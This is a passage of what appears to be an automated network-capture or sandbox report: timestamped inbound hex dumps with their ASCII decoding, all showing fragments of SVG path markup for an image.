d="M900.15,67.88a.67.67,0,0,1-.22.52.72.72,0,0,1-.53.2.68.68,0,0,1-.52-.21.
2023-05-31 12:51:55 UTC	1538	IN	Data Raw: 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 30 30 2e 31 31 2c 32 30 31 2e 37 32 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 41 32 2e 35 33 2c 32 2e 35 33 2c 30 2c 30 2c 31 2c 36 39 36 2c 32 30 33 61 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d Data Ascii: 51-2.89,2.25,2.25,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.86"></path><path class="cls-4" d="M700.11,201.72a1.73,1.73,0,0,1-.78,2.24A2.53,2.53,0,0,1,696,203a2.42,2.42,0,0,1,.51-2.89,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"></path><path class="cls-4" d="M
2023-05-31 12:51:55 UTC	1554	IN	Data Raw: 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 33 31 2e 35 37 2c 32 39 37 2e 38 34 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2c 2e 35 32 2d 32 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 33 31 2e 33 34 2c 32 39 30 2e 39 31 61 31 2e 37 Data Ascii: 0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"></path><path class="cls-4" d="M731.57,297.84a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.39,2.39,0,0,1,.52-2.88,2.24,2.24,0,0,1,2.89,0,2.12,2.12,0,0,1,.16,2.86"></path><path class="cls-4" d="M731.34,290.91a1.7
2023-05-31 12:51:55 UTC	1570	IN	Data Raw: 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 34 39 2e 34 32 2c 32 30 30 2e 30 36 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 34 39 2e 31 39 2c 31 39 33 2e 31 32 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d Data Ascii: th><path class="cls-4" d="M749.42,200.06a1.72,1.72,0,0,1-.78,2.23,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.11,2.11,0,0,1,.16,2.85"></path><path class="cls-4" d="M749.19,193.12a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-
2023-05-31 12:51:55 UTC	1586	IN	Data Raw: 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2d 33 2e 33 33 2d 2e 39 34 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 38 30 2e 36 35 2c 32 38 39 2e 32 34 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 Data Ascii: ,1.72,0,0,1-.78,2.23,2.5,2.5,0,0,1-3.33-.94,2.37,2.37,0,0,1,.51-2.88,2.24,2.24,0,0,1,2.89,0,2.12,2.12,0,0,1,.16,2.86"></path><path class="cls-4" d="M780.65,289.24a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2
2023-05-31 12:51:55 UTC	1602	IN	Data Raw: 2e 33 34 2d 2e 39 34 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 32 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 39 38 2e 35 2c 31 39 31 2e 34 35 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 Data Ascii: .34-.94,2.41,2.41,0,0,1,.52-2.89,2.25,2.25,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"></path><path class="cls-4" d="M798.5,191.45a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"></path
2023-05-31 12:51:55 UTC	1618	IN	Data Raw: 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 30 2c 32 38 37 2e 35 37 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 32 39 2e 37 32 2c 32 38 30 2e 36 33 61 31 2e 37 32 2c 31 2e 37 Data Ascii: 0,1,2.89,0,2.11,2.11,0,0,1,.16,2.86"></path><path class="cls-4" d="M830,287.57a1.72,1.72,0,0,1-.78,2.23,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"></path><path class="cls-4" d="M829.72,280.63a1.72,1.7
2023-05-31 12:51:55 UTC	1634	IN	Data Raw: 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 37 2e 38 31 2c 31 38 39 2e 37 39 41 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2c 38 34 37 2c 31 39 32 61 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 37 2e 35 37 2c 31 38 32 2e 38 35 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 31 Data Ascii: 0,1,.16,2.86"></path><path class="cls-4" d="M847.81,189.79A1.72,1.72,0,0,1,847,192a2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.25,2.25,0,0,1,2.9,0,2.11,2.11,0,0,1,.15,2.85"></path><path class="cls-4" d="M847.57,182.85a1.73,1.73,0,0,1-.78,2.24,2.51
2023-05-31 12:51:55 UTC	1650	IN	Data Raw: 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2e 32 37 2c 32 38 35 2e 39 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2c 32 37 39 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 Data Ascii: s="cls-4" d="M879.27,285.9a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"></path><path class="cls-4" d="M879,279a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.5
2023-05-31 12:51:55 UTC	1666	IN	Data Raw: 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 39 36 2e 38 38 2c 31 38 31 2e 31 38 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 33 2d 2e 39 34 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 Data Ascii: 0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"></path><path class="cls-4" d="M896.88,181.18a1.72,1.72,0,0,1-.78,2.24,2.51,2.51,0,0,1-3.33-.94,2.39,2.39,0,0,1,.51-2.89,2.24,2.24,0,0,1,2.89,0
2023-05-31 12:51:55 UTC	1682	IN	Data Raw: 2d 33 2e 33 34 2d 31 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 38 2e 33 35 2c 32 37 37 2e 33 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 Data Ascii: -3.34-1,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"></path><path class="cls-4" d="M928.35,277.3a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.11,2.11,0,0,1,.15,2.85"></path><p
2023-05-31 12:51:55 UTC	1698	IN	Data Raw: 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 33 38 2e 32 31 2c 32 39 33 2e 32 34 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 33 38 2e 34 34 2c 33 30 30 2e 30 37 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 Data Ascii: 0,0,1-.16-2.82"></path><path class="cls-4" d="M1038.21,293.24a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"></path><path class="cls-4" d="M1038.44,300.07a1.7,1.7,0,0,1,.77-2.2,2.47
2023-05-31 12:51:55 UTC	1714	IN	Data Raw: 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 30 37 2e 34 35 2c 32 30 35 2e 34 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 30 37 2e 36 39 2c 32 31 32 2e 32 34 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d Data Ascii: cls-4" d="M1007.45,205.41a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"></path><path class="cls-4" d="M1007.69,212.24a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-
2023-05-31 12:51:55 UTC	1730	IN	Data Raw: 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 37 36 2e 39 33 2c 31 32 34 2e 34 32 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 37 37 2e 31 36 2c 31 33 31 2e 32 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 Data Ascii: .08,0,0,1-.15-2.81"></path><path class="cls-4" d="M976.93,124.42a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.92,2.38,2.38,0,0,1-.51,2.85,2.22,2.22,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"></path><path class="cls-4" d="M977.16,131.24a1.7,1.7,0,0,1,.77-2.2,2.4
2023-05-31 12:51:55 UTC	1746	IN	Data Raw: 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 35 39 2e 38 32 2c 32 33 34 2e 33 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d Data Ascii: -.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"></path><path class="cls-4" d="M959.82,234.37a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"></path><path class="cls-4" d="M
2023-05-31 12:51:55 UTC	1762	IN	Data Raw: 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 39 2e 33 2c 31 35 33 2e 33 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c Data Ascii: ,1,3.29.93,2.37,2.37,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"></path><path class="cls-4" d="M929.3,153.37a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.1,2.1,0,0,1-.15-2.82"></path><
2023-05-31 12:51:55 UTC	1778	IN	Data Raw: 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 31 32 2e 31 38 2c 32 36 33 2e 33 33 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 31 2c 32 2e 34 39 2c 32 2e 34 39 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c Data Ascii: 2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.81"></path><path class="cls-4" d="M912.18,263.33a1.71,1.71,0,0,1,.77-2.21,2.49,2.49,0,0,1,3.29.93,2.37,2.37,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,
2023-05-31 12:51:55 UTC	1794	IN	Data Raw: 4d 38 38 31 2e 34 33 2c 31 37 35 2e 35 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 38 31 2e 36 36 2c 31 38 32 2e 33 33 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c Data Ascii: M881.43,175.5a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.16-2.81"></path><path class="cls-4" d="M881.66,182.33a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,
2023-05-31 12:51:55 UTC	1810	IN	Data Raw: 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 36 34 2e 33 31 2c 32 38 35 2e 34 35 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 36 34 2e 35 34 2c 32 39 32 2e 32 38 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 